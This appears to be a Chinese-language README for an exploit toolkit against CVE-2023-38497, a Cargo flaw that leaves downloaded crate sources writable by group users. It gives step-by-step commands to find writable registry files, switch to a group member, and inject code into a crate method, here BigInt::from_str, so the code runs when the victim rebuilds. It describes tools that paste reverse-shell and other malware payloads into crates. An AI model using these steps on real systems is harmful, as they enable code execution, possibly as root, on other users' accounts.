
Cargo exploit from CVE-2023-38497
在 cargo 版本 1.7.0 中发现了一个新漏洞,详情请见此处。
首先,你需要确认你的 cargo 版本是否存在此漏洞。
cargo --version
假设我有一个 cargo 项目,其 src/main.rs 文件如下:
use num_bigint::BigInt;
use std::str::FromStr;
// 无聊的猜数字游戏
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("猜一个数字:");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("读取标准输入错误");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("猜对了");
break;
}
}
}
如果我运行程序:
cargo run
猜一个数字:
20
猜一个数字:
123456789
猜对了!
一切正常。
接下来,在系统中所有已安装的 crate 中,筛选出权限配置不当的 —— 即组用户或其他机器用户可以写入的。
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
这将列出所有存在漏洞的 Rust 源文件。从中选择一个适合你攻击的文件,该文件应定义了一个在目标 cargo 项目源代码中使用的方法。
从上面的列表中找到以下存在漏洞的文件:
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
正如之前所述,其权限为:-rw-rw-r--
因此,与 cargo 项目所有者同组的任何用户都可以修改它,这很可怕。但想象一下,任何用户都能写入该文件 —— 确实有 crate 具有这样的权限。
现在,你可以向机器添加一个新用户,或者使用一个除项目用户之外的其他用户,该用户应属于与目标文件所有用户相同的组。例如,我机器上的这个源文件的所有者和组为:
atreides people
而另一个用户,运行 id 命令后会得到:
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
现在我们得知用户 bob 可以写入我们的目标文件,以及其他具有相同权限的文件。切换到 bob 用户并继续。
看一下我们的猜数字游戏,它使用了 BigInt 结构体中的 from_str 方法。这可能是一个值得关注的方法。
从目标文件中提取了一段代码:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
现在,如果将其修改成这样:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("来自外部的消息");
BigInt::from_str_radix(s, 10)
}
}
然后清理目标目录并重新运行:
cargo clean && cargo run
猜一个数字:
20
来自外部的消息
猜一个数字:
123456789
来自外部的消息
猜对了!
哇!想象一下,你在编写 cargo 项目时收到了如下信息。
请注意,这只会在目标目录之前被删除时发生,也就是说,cargo 需要在修改源文件后重新编译 crate。
现在,这只是一个如何利用此漏洞的演示,但想象一下,如果你在源文件中放置了某种有效载荷。该仓库旨在在用户运行 cargo 项目时,与用户账户建立反向 shell 连接。
这是一个重大漏洞,特别是考虑到可能存在以 root 权限安装的 cargo,那么放置的有效载荷也将以相同权限执行。
在本项目中,你将找到以下工具:
在本地 cargo 归档和目标 cargo 项目中搜索所有可能在目标源代码中被利用的特定方法。 如果你特别想利用某个方法,或者没有对目标 cargo 项目的读取权限,可以在攻击流程中跳过 vanalyzer。
./vanalyzer/run.sh <目标项目路径> <目标用户名>
所有可以放置在目标 crate 源代码中的有效载荷类型(主要是反向 shell 以及其他恶意软件)。截至目前可用的有效载荷有:
一个模拟 shell,接收命令运行漏洞分析器,并从上述有效载荷列表中选择一个,以及从漏洞分析器中选择一个要利用的方法,然后将有效载荷整合(复制粘贴)到源代码中。
cargo run
vanalyzer <cargo项目> <目标用户名>
integrate <文件编号> <方法编号> <有效载荷>
exploit <本地归档 crate 文件的路径> <方法名> <有效载荷>
ok